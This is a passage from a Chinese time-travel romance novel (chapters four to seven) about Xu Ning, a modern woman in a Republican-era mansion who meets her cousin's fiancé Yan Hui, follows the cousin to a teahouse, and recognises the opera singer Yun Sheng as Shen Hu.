“桂花呢?”
许甯愣了愣,想起自己浑身上下只有桂花香,却是一枝桂花都没有的。
唯一折断的一枝被她砸给了春桃。
男人抬起手就向她脑袋上崩了一下,满意地看她发出哀嚎,勾唇:“等我一下。”
话音刚落,男人踩着墙上的缝隙,一跃三步爬上了墙,枝桠颤动,落下阵阵香风。
在这花瓣纷飞的天空中,男人犹如天使般旋飞落下,整个动作利落唯美。
掌心握着一枝新折断的桂花,他送到她的面前。
“鲜花赠美人,堂妹。”
…
许甯忽略心头的悸动,吐槽:Strong男。,
*
许家祖上曾是世家大族,出过不少状元,这座园子便是在许翁仁祖父那辈建造。
雕栏玉砌,曲径通幽。
许甯跟着男人往前院中,暗自惊叹不已。
许家还真是有钱啊。
可是,再一想,就算有钱连块肉都不愿意分她。
抠搜得很。
男人停下脚步,转过身。
“你瞧我做甚?”许甯不自在地摸了摸鼻头。
“你离我那么远,是想做我的丫鬟吗。”男人挑挑眉。
“哪有。”许甯气势低微:“我觉得最好避嫌,毕竟我不认识你,男女授受不亲。”
“噢?男女授受不亲,堂妹,我还没给你介绍我的身份吧。”男人插兜走了过来,一把按住她的脑袋,使劲揉了两下。
“我叫严诲,和你姐姐许宓有婚约。”
严诲…
许甯脑子发懵。
严诲!
严老先生!!!
记忆中,温柔和蔼、爱喝桂花茶的百岁老人浮现—
“我的未婚妻爱上了他,离我远去。”
5. 第四章
此时,前院。
许府的当家人、许宓的父亲许翁仁此时与人交谈甚欢。
水声潺潺,许府的园子引进活水,流经假石激起不小的水花。
赞赏声此起彼伏,如果此时有外人在场,就能发现被众人恭维的对象,正是目前风头正盛,打了胜仗的严司令—严翼令。
他年近中年,却没有许翁仁那般臃肿的身子,鼻下留着短小的胡须,身穿深绿色军装,军帽压住他光秃的头顶。
“严司令,您此番缴敌数万,实乃当世英才,某不才,备了些薄礼,还望您赏脸收下。”
许翁仁饮了些酒,脸色发红,举杯敬向严翼令。
这些官场话,当事人都心知肚明,但是严翼令并未接酒,反而点燃雪茄吐出一口烟圈,直把许翁仁装傻充愣的脸笼在淡雾中。
“明人不说暗话,我是个粗人,你家女儿年纪正当,我儿也要娶妻生子,这亲事什么时候定下来。”
许翁仁圆滚滚的脑袋笑了笑,刚要接话,严翼令伸手阻拦:“你上次以女儿尚小推辞了两年,若我没记错,令爱也近双十年华,若是再不嫁,还请另寻贵婿。”
严翼令扔掉雪茄,踩在脚下,用力碾了碾。余烬的烟火彻底消散,他抬起头,神色冷肃。
煞气几乎瞬息笼罩周围,谈笑声飞灰湮灭,许翁仁脸上失了光彩。
“我儿常年打仗,生死不过瞬息之间,耽误不起令爱。若没有结亲意愿,还是好聚好散地罢。”
“这…”这么直白,让本欲再敷衍一次的许翁仁束手无策,求助的视线不断瞥向自家老婆儿子。
后者直接转过头,没理他。
说起来,都是她们太宠许宓,否则哪会落到不愿嫁的后果。
外面的世家,谁不恨不得嫁给严大少爷。
“严司令,何至于此呢。”大太太走了过来,语气和善:“宓儿和严少爷的姻缘自小约定,外界人谁不知晓,说句不中听的,我们家早就视您为亲家。”
严翼令哼了一声:“既如此,为什么推辞婚事,莫不是贵府千金有了心仪之人?”
大太太稳住面上情绪,继续好言相劝:“宓儿您也算是从小看着长大,跟个男孩子似的,哪还有什么心仪之人。”
“这倒也是,那么婚期定在何时?”
这还真是步步紧逼啊,大太太差点缴械投降,要知道这为主是出了名的狠辣,看来他今天势必要结果。
她也没了办法,只能委屈宓儿了。
“就今年罢,我寻人看了好日子,到时给司令送去。”
严翼令点点头,又商讨番喜事流程,这本是女人家的事情,但奈何严少爷自小没了妈,当父亲的也只能硬着头皮细问了一番。
“大帅,军情急报。”下属突然报告道。
附耳听了个大概,摆手示意下属离开,严翼令此时语气称得上柔和:“亲家,我急着赶回公馆,这就走了,婚事劳你们多操劳些。”
许翁仁夫妻两忙道:“这是自然,正事要紧,司令先请。”
当严翼令的车驶过街道,夫妻两总算松了口气。
“亲家,这亲家我真受不起啊夫人。”许翁仁抚摸着心脏感慨道。
大太太也心有余悸,严翼令是战场上淌着尸过来的,那浑身的戾气让她念佛的感到一阵阵胸闷,前一刻还在说取消婚约,后一刻便喜乐乐地叫她们亲家。
这变脸速度啊…真不是人能做到的。
大太太看了眼不争气的丈夫:“成了,瞧你那没用的样子。”
“那你说怎么办,宓儿喜欢别的男人,问她是谁又不松口,只说死都不嫁他人。”
说起这个,大太太也是一阵头痛,宓儿向来娇蛮任性,以前无非闹闹脾气,这次不知在外遇到了什么男人,把魂都勾走了。
她向来说一不二,不想嫁就是真的不嫁。
“还能怎的,总不能浪费好不容易攀上的严家,她必须得嫁,还得高高兴兴地嫁过去。”大太太没好气道。
“那男人她不说身份,必定是怕我们生气,想来是个上不得台面的。”
“那怎么办。”许翁任一阵愁容。
“就算要撬,也要将那人找出来,这些日子不必再关着宓儿,她松下警惕自然会去找他。”大太太熟悉自己的女儿,脸上浮现势在必得的微笑:“到时,让人跟着。”
许翁仁一拍大掌:“夫人说的是,我这就去安排。”
“别急。”大太太拦住他,转动腕上佛珠:“动静小些,别让宓儿知晓,找到了若是听话就让他滚远些,不听话…”
许翁仁明白,手刃成刀,在脖子上割了两下。
大夫人眼神幽深,并未再多说。
*
严诲伸手在许甯前晃了晃,指尖带着未散的桂香。
“怎么看傻了?”
“我如此帅气?”
许甯缓缓抬起眼看他,思绪还停留在百年后,她感觉自己在看戏,一场入戏太深的戏。
她半晌才回过神来,目光里还凝着方才的怔忡。
许宓是严诲的未婚妻,也就是沈斛的心仪之人。
不知为什么,这层身份像根细刺,扎得她心口发闷。
真是映照一句真理:毒唯只对真嫂子破防。
“完喽,看来是真傻了。”
“我的名声那么盛啊。”严诲在她面前弯下腰笑着说。
他自留学归来后,就随父从军,严翼令要求严苛,让他从最小的兵士做起,两年来,他几乎没体验过少爷的待遇,反而时常被当作炮灰。
例如—
小丘八,狗日的来了,你去把他们都杀了。
没长毛的小丘八呢,把他们喊来,敌人还有馒头吃呢,他们还不快去把敌军的粮草烧了!
…忆起种种不公平的待遇,严诲看向许甯的眼神就更加珍惜了。
硕大的朔城,能记得他还是个风华正茂的少爷还有几人?
许甯把自己的下颌装回去,与他对视一眼,撇撇头。
她想起查资料时,有一条炸裂的标题,针对的是严老先生。
“听说你,一夜御十男十女,上下通吃?”
咳咳!
不知是尴尬,还是真的呛住了,严诲捂着嘴狠狠地咳嗽起来。
“你个小姑娘,怎么知道这些事。”
“我听说的。”许甯脸不红心不跳,书上记得可详细
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了。
严诲的脸肉眼可见地浮现红晕,最早被波及的耳朵几乎快冒起烟来。
“都是瞎扯的,什么一夜御十男十女,他们说什么你就信什么吗?那是人能达到的限度吗?”
“果然啊。”许甯露出学到了的表情。
严诲察觉不对,转而开始教育许甯:“不是,这话是你能说的吗。”
十七岁,足以了解,但可惜她处于封建时代。
于是许甯摇摇头,幽幽地看向他。
仿佛在说:说说呗,又没什么大不了的。
头上不出意料地又爆了个栗子。
许甯捂着脑袋,眼神幽深。
她跟在他的身后,认真观察他的落脚姿势。
趁着空隙,她忙走上前去,极不小心地踩了他的锃亮皮鞋一脚,又不小心撞上他,狠狠地碾压了一番。
“嗷!”严诲单膝抱着腿痛叫,许甯哈哈大笑扬长而去。
“宁得罪小人,不得罪女人。”严诲在后面咬牙切齿。
*
许甯低着头,穿梭在园子里。
她的身型瘦小,穿的衣服也是灰扑扑的,只要低着头,任谁都会将她看作是普通的丫鬟。
趁机离开了严诲,许甯就往前院去。
路过一座花园时,正巧听到玩闹声,许甯停下脚步,立马躲进灌木丛中偷看。
在花园里有数十人,被围在最中间的是一对夫妻,身材都比较臃肿,男的带着一顶小帽,脑袋后坠下一条长长的辫子。
看清他的长相,许甯也猜出那就是许府当家人许翁仁了。
站他旁边的女人雍容华贵,想来就是许太太。她的面目和蔼,裙角露出的金莲小鞋看得许甯心惊肉跳。
幸好原身长在乡野,只有一双天足。
许宓一脸不耐烦地叩着桌子,趾高气扬地瞪了眼端茶倒水的小厮。
怪不得严诲会认错,许甯抚上脸。
真的太像了,像到她指尖划过脸颊,都错觉地触碰到另一人的体温。
“许小姐。”
严诲这时走了过去,带着浅淡的桂花清香,他手中也折了枝桂花,递给许宓。
他的语气带着自己都未察觉的亲昵。
“适才我碰见令妹折花,这花确实开的好。”严诲的声音顿了顿,指尖轻轻蹭过花瓣,目光聚焦在许宓脸上:“我想起你幼时也爱折花,别在衣襟上。”
一男一女并肩而立的画面,猝不及防撞入许甯脑海。
和严老先生给她看的照片,竟分毫未差,她甚至能看见不久的未来:
到时许宓会穿着月白暗纹的旗袍,温婉地微笑,严诲则一身笔挺军装,眼底的柔情圈住她。
许宓是严诲的未婚妻。
这是不争的事实。
“我的未婚妻爱上了他,离我远去。”
最终许宓会身着旗袍跌入沈斛的怀中。
真是郎才女貌啊。
咔擦一声,许宓愣然地看着手中的桂枝被折成两段,嫩黄的花瓣簌簌落了一地。
严诲隐约听到脆响,循声去看,只看见灌木丛下,两截断枝静静躺在地上,桂花混着香,漫出一股若有似无的涩意。
6. 第五章
“桂花花期未至就开,真是株笨花。”许宓并未伸手去接,反而出言讥讽道。
这话落在风里,倒不知是在骂花,还是眼前人了。
严诲伸出去的手僵在原地:“许宓,你说话非要这么伤人吗?”
许宓淡淡嗤笑一声,连眼神都未懒得给他。
“既然严大少爷听不得我说话,那请自便。”她拢了拢袖口,语气冷淡“许宓有事需先行离去。”
许宓的身影消失后,严诲松手,桂枝应声落下。
落寞的背影落在众人眼中,让人瞧着沉甸甸的,大太太推了推自家丈夫。
许翁仁忙搓着手上前打圆场:“这…情之一事难以解释,宓儿那边我也会多劝劝,你与她自幼相识,不过缺少些相处,等今年成婚后就好了。”
“成婚……”
严诲笑了笑,笑意不达眼底。
他从小是一直期盼着和许宓成婚。
六岁那年,母亲带他出门遭遇乱军,混乱之中,母亲为保护他被一枪毙命。
时至今日,即使他手中早已染红鲜血,那一天的场景依旧是惊心动魄。
他被掩盖在尸山之下,母亲紧紧抱着他,血淌过她的容颜,也浸透他的浑身。
没有人知道他是怎么活下来的,整整三天,他就躲在尸山下,紧紧抱着他的母亲。
后来,父亲带人找到他时,他伸手抚下了母亲未闭的瞳孔。
此后,司令家的小儿子有了个绰号:胆小鬼。
他怕血、怕人,更怕别人看他的眼睛。
直到,许宓出现了。
她虽然比他小,个头也没他高,但是她会将欺负他的人全都揍一遍,然后骂他:
“懦夫。”
他可以是胆小鬼,但不能是懦夫。
他要为母亲报仇。
于是幼时的严诲冲着许宓一脑袋撞了上去。
“哎哟!”许宓一屁股坐在地上,缓过来后也冲着严诲打了上去。
两人就这么从小打到大,他喜欢这个爽朗的姑娘,在他的软磨硬泡下,严翼令最终答应了他和许宓的婚事。
只是后来,许宓对他愈发冷淡。
听见许翁仁的话,严诲顿了下:“不必强求她,她若不愿便罢了。”
“你的一片真心我都看在眼中,宓儿就是被宠坏了,我们会好好同她商量的。”
“伯父您也说情字最是难解…或许,我当初就不该强迫她许婚。”
许翁仁指尖一紧,感觉事情有些棘手,这孩子从小非要娶宓儿,如今竟亲口说出了放弃。
“伯父,营中还有军务处理,改日再聚。”
不待他多说,严诲起身整理了翻西装,转身时目光却不经意扫过桌上的那枝桂枝。
初春的天,嫩黄的花。
真的是笨吗?
他忽然想起爬墙摘枝的小姑娘——
她刻意踩了他一脚,逃跑时像鲁莽又鲜活的雀,连鬓角的碎发都乱了,却把那截桂枝握得紧紧。
…
候在门外的司机,见到自家少爷捧着桂枝坐进车内,细碎花瓣落在领结上,带来一室清香。
*
冷静
许甯告诉自己保持冷静。
作为文字工作者,她明白自己只是历史见证者,不应该为某个角色情绪上头。
但是,为什么知道未来许宓会和沈斛跑了,她的心头会一阵阵发涩。
母胎单身至今的许甯怀疑是:看不得自家这么好的白菜被许宓拱了。
总而言之,还是自己死忠粉脑袋在作乱啊。
够了,许甯,想开点你还能跟着许宓找到沈斛。
许甯将自己开解一番,郁结的心情总算平静了些。
然后她就发现自己闻到股肉香味。
惊喜地发现自己找到了厨房,许甯透过窗户发现里面只有几人正在有条不紊地洗菜、做饭、摆盘。
“咳,味真大。”
许甯轻咳一声引来众人视线,她掩住口鼻,刘海也遮掩住一部分面容。
“太太命我来取饭菜。”语气嫌弃地四处瞟了眼。
“姑娘是个生面孔,今天怎么不是小青姑娘。”
许甯撒谎张口就来:“小青姐姐闹了肚子,太太急着催菜,你们手脚快些,是想被罚吗。”
最后一句刻意拔高了音调,果然见他们不敢再多言,忙不迭地往食盒里布菜。
她站在门口,仿佛真成了大太太身边得了势的丫鬟。
红烧肉、莲藕排骨汤、芙蓉糕…
见她们放了足足放了三层,许甯接过食盒时,脸上的笑都快掩不住了。
好在用衣袖遮着,倒也看不见。
一路上她小心避让着人,快走到自己的破烂院子时,草坪上趴着几只兔子。
许甯眼前一亮,一把撸住它们的耳朵塞进了破门前的窗口。
“春桃!春桃!”许甯小声地喊着。
“二小姐,您总算回来了。”春桃等得欲哭无泪,每时每刻都担心传来许甯被抓的噩耗。
当她看见被硬塞进来的兔子,以及一个大食盒时,完全懵了。
“二小姐,这是…您偷的?”
因为上次被污蔑做小偷,所以干脆实践了一番吗。
“错,是我打猎来的。”许甯开着玩笑:“等我进去再和你说,饿死我了。”
仿佛为了印证一般,咕噜噜的声响即使隔着门也格外清晰。
许甯尴尬地一笑,等春桃接过东西,二话不说地爬墙。
幻想的是严诲一样利落的身手,但现实很骨感。
她爬得十分艰难,当她成功跳下院子时,浑身上下蹭满灰尘。
于是她只好眼巴巴地望着美食,跑去梳洗一番。
等她出来时,春桃已经将食物全部摆好。
两人就着难得的大菜,吃的格外畅快。
感受着总算舒坦的肠胃,许甯心情舒畅,和春桃搬出一张竹床,就这么放在院中躺着赏月。
“二小姐,我发现你真的越来越厉害了。”春桃抱着一只兔子,感慨道。
这兔子也是个不怕生的,安安静静地卧在春桃怀中。
“跟着我,总不会让你挨饿。”许甯壮言道。
“那您抓这些兔子,是送给我的吗?”春桃期待地问。
对上这双含着星星的眼睛,许甯实难忍心告诉她。
其实是准备抓来吃的。
“对,都是送你的。”
春桃闻言一把抱住许甯胳膊,摇来摇去:“小姐您真好。”
有这句话后,许甯此后隔天差五就去“打猎”。
大都是晚上,她蒙上面罩,犹如黑暗中行走的影子,找到没人的厨房搜刮一番。
每盘菜选择的量不宜过多,否则就有被发现的风险,有时她
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也会拿些生食,春桃的手艺不错,做的菜也很好吃。
就这样,时间很快到了四月。
不知道是不是错觉,这日许甯坐在梳妆台前,感觉脸上多了些肉。
“小姐,你和以前完全不一样了。”
春桃帮她编着发,忽然感慨道。
以前的许甯瘦得骨头都突出来,眼神黯淡无光,五官虽然端正漂亮,但瞧着像个人形木偶。
许甯摸摸脸,又提了提肚子上的肉:“是不是胖了。”
春桃点点头:“胖了,更好看了。”
照理说,世人以瘦为美,但不知道为什么她觉得胖了反而更漂亮,或许是肉皮撑起骨,她脸上的神色也更加丰富。
这话说的许甯高兴,她站起来,比了下和春桃的高度:“你瞧,我比你还高了。”
“这下小姐出去总不会被严大少爷当成小孩。”春桃严肃地说。
“真是的……”哪壶不开提哪壶。
许甯气地磨磨牙,早知道就不告诉春桃她被严诲赏了两个栗子的事。
“你还敢调戏起小姐了?”许甯叉着腰,扑过去挠春桃痒痒。
“小姐,我说的本来就是真的啊哈哈哈哈哈…救命啊…”
*
是夜,月明星稀,万籁俱寂。
昏黄的烛火照亮眼前的青石板,淡淡的香味从食盒中溢出,脚步轻声走过。
许甯照例提着食盒,时刻注意着四方动静。
忽然,黑夜中也窜出个身影,是从连廊下走出,鬼鬼祟祟的。
许甯心中警铃大作,几乎瞬间将自己掩藏在石柱后面。
石柱连接连廊,好在足够宽大,能够将身形全部掩盖。
背后紧贴着石柱,微凉的触感从衣服透进骨头,许甯噤若寒蝉。
她的手中紧握着饭盒,随时准备同黑影干一架。
随着一阵风划过。
来了。
簪钗相碰的清脆声响起,一阵萦香绕在她的鼻尖。
她看见石柱旁闪过一道影子,又很快从另一边划过。
竟然没发现她。
许甯缓缓松了口气,手中的力道骤然卸下,这才发现额上布满了细汗。
擦了擦汗。
躲过一劫的许甯不由地想:许府防护真是薄弱,这么久以来,差点发现她的也是个不怀好意之人。
她贴着石柱正准备走回连廊。
忽而瞥见另一道黑影,速度极快地穿梭在前。
许甯再一个大惊,又缩了回去。
搞什么啊,追杀吗?再次贴上石柱的她已多了几分平静。
果然。
第二道黑影也很快地消失在视野之内,并没有发现她,反而追随第一道黑影而去。
…
许甯盯着两道黑影消失的方向,眼底充满了疑惑。
直到确定没有第三人之后,许甯这才摇晃了下僵硬的腿脚,走上连廊。
“叮”的一声轻响,许甯只觉硌脚,她下意识地顿时脚—是只发钗。
她弯腰捡起来,发钗是蝴蝶样式,蝶翼由翠鸟羽翼粘成,蝶须由两根颤枝构成,最顶端各辍着米花大小的珍珠,在夜色中泛着细碎的莹光。
这大概是第一个黑影落下的,她惊慌失措地跑过,连东西掉落也未察觉。
许甯在手中把玩着这发钗,忽而觉得有些眼熟。
在哪见过呢?
7. 第六章
能让她有印象的东西绝不多,脑光乍现,她想起来了。
是许宓。
当初她躲在灌木丛后,看到许宓头上簪着这只发钗。
因着这发钗出现在她头上有些突兀,许甯多看了两眼,没想到竟然落到她的手中。
她颠了两下,感觉这发钗能值不少钱。
既然落到她手中,那就…别怪她私吞了嘿嘿。
但是转念一想
不对啊,许宓为什么要半夜逃跑,还被人跟踪,她一个千金大小姐不在家好吃好喝,干嘛要半夜出逃。
联想到某些关系,她神色凝重,转身将食盒藏到廊下,立马朝着两人离开的方向跑去。
错过水榭、跑过石桥,绕过庭院,最后总算在院墙隐约发现行踪。
许甯悄悄走过去,拨开杂草,显出院墙下的洞口。
真是不容易啊,她心中暗叹道,趴下身子爬了出去。
院外是一巷街景,并没有她熟知的夜上海般斑斓的风景,而是静谧的青砖灰瓦。
料想此处都是住宅区,许甯重新挽了下打散的头发,远远瞧见许宓同样狼狈地站在街角,坐上了黄包车。
车罩拉起,罩住了她的身影,同样地,她也视线受阻,未发现车后跟着的另一道黑影。
许甯却看得清清楚楚,那人身手不错,脚步时急时缓,与黄包车一直保持着相当距离。
路上行人不多,倒也无人发现他的异样。
许甯想跟上前,又没有跟踪之人的好身手,也招了歇脚的车夫过来。
“小姐,打哪儿去?”车夫刚被叫醒,打了个哈欠。
“跟着前面那辆黄包车,不要离太近。”许甯指了指往右拐的车。
“好嘞,您坐好。”
见前面车影已经消失,她也不敢耽搁,跨过车杠坐进里面。
车夫招呼一声,将汗帕随身往背上一甩,背后一股拉力直接让许甯撞上靠背。
车轱辘碾地咯噔咯噔作响,车身微微颠簸,不疾不徐地穿过街道。
不知到了何处,眼前一片开阔。
电车叮咚驶过、黄包车穿梭往来、楼房与瓦屋错落林立,有人衣裳褴褛瑟缩在黑巷,也有人身着马褂在酒馆中饮笑畅谈。
明珠百货的玻璃前,划过一张张朦胧的脸,像一帧帧流动的旧影。
许甯脸上被霓虹灯晃过,红彤彤的一片。
…这是划时代的街景,是旧俗与新生的碰撞,是民国,永不褪色的鲜活底色!
……
“到了小姐,一枚大洋。”
车夫落下车杠,抓起汗巾随意抹了脸,客气道。
见车上客人没有反应,他又走进了些,好脾气地重复一遍:“小姐,您该下车了。”
“啊、哦哦”许甯回过神来,看见竖着的牌坊上写着听澜阁。
“这是什么地方?”
“喝茶听曲,城中最有名的茶园,方才前面那辆车上的小姐才进去。”
茶园…许甯点点头,下车习惯性地摸了摸口袋,空空如也。
完蛋…在许府白嫖那么多天,忘了她是个穷光蛋。
“这个…师傅,车钱能不能先赊账?”许甯崩起笑脸,发出尴尬的笑声。
黄包车车夫脸色一黑,眉头皱成个疙瘩:“赊账?小姐你四处打听打听,哪有黄包车赊账的道理。”
他将许甯上下打量个遍,随即了然地哦了声。
她穿的衣裳还是原身从乡下带来的,上身是件洗的发白的靛蓝粗布大襟衫,下身是同色的宽脚裤,为了不引人注目,头上包了块方巾,分别垂在耳侧,倒也能遮住些面容。
“怪道要赊账,感情是溜着我玩儿的穷酸鬼!没有小姐的命,装什么金枝玉叶。”他啧啧出声,抄起掌心:“交钱,一分不得少!”
“等着。”许甯没再多说,在身上翻来覆去地找。
身边走过的行人被声音吸引过来,瞟了几眼后又无所事地离开。
看这样子,她不拿出点东西真是走不出去。
奇怪,那只钗子放哪了?
车夫见她翻找未曾发现,反倒在灯光下端详起她的面容。
是个漂亮的。
这么想着,手就缓缓伸上少女腰间。
“!色狼啊!”
许甯尖叫,就像冰凉的蛇身环住她的腰,所到之处,恶心至极。
脑子还未经思考,手脚已经全部出击。
大嘴巴子、踢下身、撞脑袋、挠胳肢窝…咬打踢踹,什么下三滥的招全往车夫身上使。
那车夫纵然有力气,也挡不住身上到处漏风,痛的咬牙切齿。
手上刚要反击,就被许甯一把咬住。
车夫没想到她一个弱女子这么勇猛。
“啊!”
许甯发了死力气咬,脚下还踹着他的下档,手上正全力往他脸上招呼。
当嘴巴里尝出鲜血,她作呕般地想吐,掌心混合着脚一推一踹。
扑腾一声,车夫犹如煎锅上的鱼倒在地上,四处哀嚎。
一只手捂住档部,一只手高高抬起,露出两个鲜红的牙印。
“呸”,许甯弯着腰恶心呕吐,嘴里全是血腥混着汗臭味。
臭男人绝对八百年没洗手。
这么想着,许甯恨不得伸手进去扣自己喉咙。
就在这时,墨色的手帕落在她的眼前,鲜嫩的两簇绿叶点缀在其中。
“先擦擦吧。”他说。
知道自己脸上必定不好看,挂着血又是唾沫星子,许甯道了句谢就接过来用。
手帕很香,与她鼻腔中残留的汗臭味不同,是淡淡的茶香,像是雨前龙井,清冽微苦。
察觉到身前的身影直起身,离开几许,光透了进来,撒在她的脸颊两侧。
他对着车夫,声音清冽有力,像山涧融雪,带着慑人的压迫感。
“滚吧,下回在茶园闹事可不是这般简单。”
轻缓的脚步声渐渐远去,许甯抬起头来,看见瘫倒在地的车夫捡起男人扔下的两块硬币,恶狠狠地冲她瞪眼。
还瞪,许甯顺手抄起听澜阁的牌匾。
不待她提起牌匾,车夫提起车杠跑了。
算他识趣。
被这下流痞子摸了一把,她真是恶心,感觉浑身都不得劲,下次见到说什么也不能这么过去。
“姑娘,人跑了可以把我吃饭家伙放下吧?”店中走出
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一中年人,穿着马褂,笑眯眯道。
许甯尴尬地放下牌匾,把手伸到身后,似乎这样就能解决罪证。
“不好意思啊老板。”
“没事,姑娘勇气可嘉,是当世木兰,某实在佩服。”
许甯也没想到自己能打过壮年人,抱拳笑道:“老板谬赞。”
老板乐呵呵地走过来,忽然讶异道:“姑娘你的脸?”
许甯脸上被打了一巴掌,半个脸颊又红又肿,不消说一定有个巴掌印,于是她将那块手帕贴在脸上。
“没什么大碍,过几天就消肿了。”她不在意地挥挥手,忽而又想到送她手帕的男子:“老板,你认识这手帕的主人吗?”
透过少女细长的指尖缝隙,老板眼尖地发现了手帕上的两株茶叶。
这是听澜阁的标志。
老板摇了摇头:“是我园中的人,具体是谁我也不知。”
“噢…”许甯有些后悔,没有早点擦好脸看下恩人长什么样。
她浑身翻找了一下,老板也不知道她在做什么,只静静等待。
最后总算在衣服暗袋中找到了蝴蝶发钗,在灯光下,更显熠熠生辉。
“方才帕子主人帮我付了车费,能否劳烦您找到主人,帮我将这钗子送给他还礼。”
老板看着少女手中熟悉的发钗,眼中拂过丝诧异,转瞬即逝,只抬眼看向她,语气一贯的温和:“不急,姑娘若是不嫌弃,可先进来上药。”
此时夜色渐淡,天边隐隐透出日出的红晕,街巷中的行人只会越来越多。
许甯不想被人看见她脸上的巴掌印,但是…
她缓缓抬起头,眼睛里似乎闪烁着苦楚,小心翼翼问:“老板,收费吗?”
老板愣了下,随即哈哈大笑,做了个迎客动作:“放心吧,不收费。”
许甯立即欢呼地跑进去。
听澜阁是座很大的阁楼,至少目前看去是这样,走进去最下层是方形表演台,下方摆着几十台桌椅,沿着木阶往上,总共有三层。
越往上视野越开阔,包厢也越发精致。
老板将许甯带进三楼的一个包厢,进门时她还有些迟疑,手中紧紧攥住门框:“老板,我…”
毕竟她才被流氓摸了,不难保证这位老板就是清流。
而且夜色深重,周边还没有人。
老板似乎看出了她的想法,笑了下:“姑娘不必担心,我赞叹你的勇气,若是不嫌弃的话,叫我一声韩叔也好。”
“韩叔。”许甯几乎是立刻喊道:“你可以叫我小甯。”
韩先觉点点头,站在门前:“小甯你先进去等会,我去喊女怜人为你上药。”
许甯乖巧地答应,走进包厢中。
因着心中还抱着点对韩叔的愧疚,于是即使这间豪华包厢她很想观察(摸摸)一番,最终也只是克制地坐在梨花木椅上。
手搭膝前,背挺直,脸肿着,但是也是捂着半张脸目视前方。
妥妥的淑女坐姿。
就在她想着要坚持动作维持多久,戏曲声由台下传来。
音色悲惋,水袖轻扬,烛火明明暗暗地照亮戏台,轻薄的戏服随风飘起,又以柔中带刚的力道收回。
8. 第七章
身子几乎不受控制地往前挪。
再往前挪。
终于,她看见了戏台上的戏子。
修长的身影,简白的戏服。
落下的脚步如流云,挥袖间如流水,云水相间,将满屋的荣光汇聚。
连烛光似乎都偏爱他,隐隐绰绰地落在长袖、随着挥袖,撒满戏台。
“花谢花飞花满天,红消香断有谁怜。”
“游丝软系飘香榭,落絮轻沾扑绣帘。”
音调婉转细腻,钻进她的心中,叫她浑身泛起涟漪。
这是葬花吟,黛玉寄人篱下处在大观园中,如花朵般柔弱,任人欺凌,这与她何其相似。
许甯感慨。
……
“一朝春尽红颜老,花落人亡人不知。”
曲尽,台上人从沿边缓至台中,旋起圈,层层叠叠的白纱随之而起,铸成一道精美的牢笼。
而他犹如被困中的小鸟,挣扎、逃脱,最近只能任由白纱越缠越紧,将他浑身包裹,仰倒在戏台中央。
最后一眼,透过层层叠叠的细纱,许甯看到了他的双眼。
琥珀色的眼瞳盛着戏台上的烛火,明明隔着白纱,却像直直望进她的心底。
沈斛!
许甯拍桌而起,胸口剧烈地起伏。
那双眼眸有惊、有怔,转过烛火望向她时,已化作淡淡的平静。
许甯的心停跳了半晌。
待她再想去追随他的视线时,他已整理好戏服,缓缓向戏台后而去。
“沈、”许甯的话哑在嘴边,起身快步下楼追去。
“等等我,你等等我!”她大喊道,声音响彻在这几乎无人的亭楼中。
沈斛,不是黑白相片中,也不是硝烟弥漫下,不是死去百年的英魂。
而是—
戏台上恣意挥舞的戏子,一曲葬花吟悲怆凄惨,他是云笙。
许甯记起来了,脚步更加紧凑:“云笙!云笙!”
她几乎是跳着下了最后几步阶梯,跑到戏台上,朝后跑去。
“小甯,你这是做什么?”
韩先觉厉斥一声,将她紧紧攥住。
“放开我,云笙…”许甯大声喊道,几乎同一时间她被韩先觉押着,他沉着脸,将她按到台下椅子上。
看着眼前哭得几乎不能自已的少女,云笙给她的手帕不知掉落在何处,红肿的巴掌印明晃晃地出现在脸上,泪水划过,说不出的难过。
韩先觉眼中早已没了初时的温和。
想不通,为什么他才离开一会,她就对云笙这么疯狂。
“云笙不会见你的。”他毫不留情地打碎她的美梦,扯开她拉住袖子哀求的手:“别做梦了。”
“为什么、为什么?”
许甯愣了一下,泪花凝滞在眼中,随即以更猛的趋势掉落。
就像无理取闹的婴儿般,她哭的更大声了。
不知道为什么这么执着。
你分明知道他们只是历史中的过影。
不是么,许甯。
眼泪止不住地滑落,她摇着头,不知是否认自己的念头,还是在乞求韩叔。
当眼泪掉下的那一瞬,她的理智已经烟消云散。
韩先觉就这么冷着眼等着,直到许甯哭的快喘不过气来,哭声渐渐停歇。
“歇会吧。”韩先觉接过女怜人捡来的手帕,递给她。
许甯胸中还有些怨气,低着头没去接。
韩先觉叹了一声,将手帕重新递给女怜人。
女怜人蹲下身拿出药膏,轻轻沾取涂在许甯红肿的脸上。
“姑娘,不是韩爷故意不让你见云笙先生,云先生是我们茶园中这阵子最出名的戏子,许多人都慕名而来,总不能人人都去叨扰他吧,所以他有条规则。”
许甯看向她,眼泪汪汪。
“见一面,需千元。”她似乎被她的模样可爱到,弯唇笑道。
听到这个数字,许甯先是微微张大了嘴。
千元,她连一元都没有。
然后她颓废地更低下头:“我知道了,对不起。”
想起自己刚刚又闹又叫的,一定像极了私生粉,怪不得沈斛跑的那么快。
她苦笑着,站起来又朝着韩先觉深深鞠躬:“对不起韩叔,是我魔怔了。”
韩先觉哼了声,本来他对这小姑娘确实好奇。
一个弱女子打赢想欺辱她的车夫,又是拿出沈斛送给沈小姐的发钗,于是将人引进店,想借着上药问问底细。
谁知,被沈斛那小子唱个曲迷的七荤八素。
美色误人,不止是男子,女子也同理。
本以为是个扶得上墙的英才,原来竟也是个色欲熏心的。
韩先觉此时也没了打听的欲望,摆了摆手就想让她离开。
谁知,这小姑娘毫不上道,抬头抿唇看他。
这样子,显然还有事要谈。
他挥挥手示意女怜人离开。
“现在可以说了?”
许甯几乎迫不及待地张嘴:“韩叔,方才帮我付钱的先生就付了两块钱,可我给了您一根点翠蝴蝶发钗。”
她的声音愈来愈小,语气也更加迟疑。
韩先觉点点头,示意她继续说。
“蝴蝶发钗绝对不止两元,您看能不能剩下的折现给我?”
韩先觉挑挑眉,似乎有些怀疑自己耳朵听到的。
折现?送礼的东西还能折现?
许甯也知道这请求过于小众,但是为了存钱,她硬生生地说下去:“我知道本是要给那位先生送礼的,但是礼…也不必这么重吧,您折现再除去十元,那八元就当送谢礼。”
“嗯?”
耳边传来迟疑的一声,许甯立即改话,狗腿子笑道,但心如刀割:“不,再再除去十元,这十元当作给韩叔的谢礼和欠礼。”
每次退让,她仿佛就看见心中的小沈斛离她越来越远。
声音落地,再也没了任何回响,许甯收回比哭还难看的笑,尴尬的无地自容。
但是说出去的话,她是绝对不会收回的,钱也是,不能再降了!
许甯都快等得没有希望,忽然——
噗…哈哈哈
诶?许甯抬头,就看见韩叔笑得大声,最后都快直不起腰。
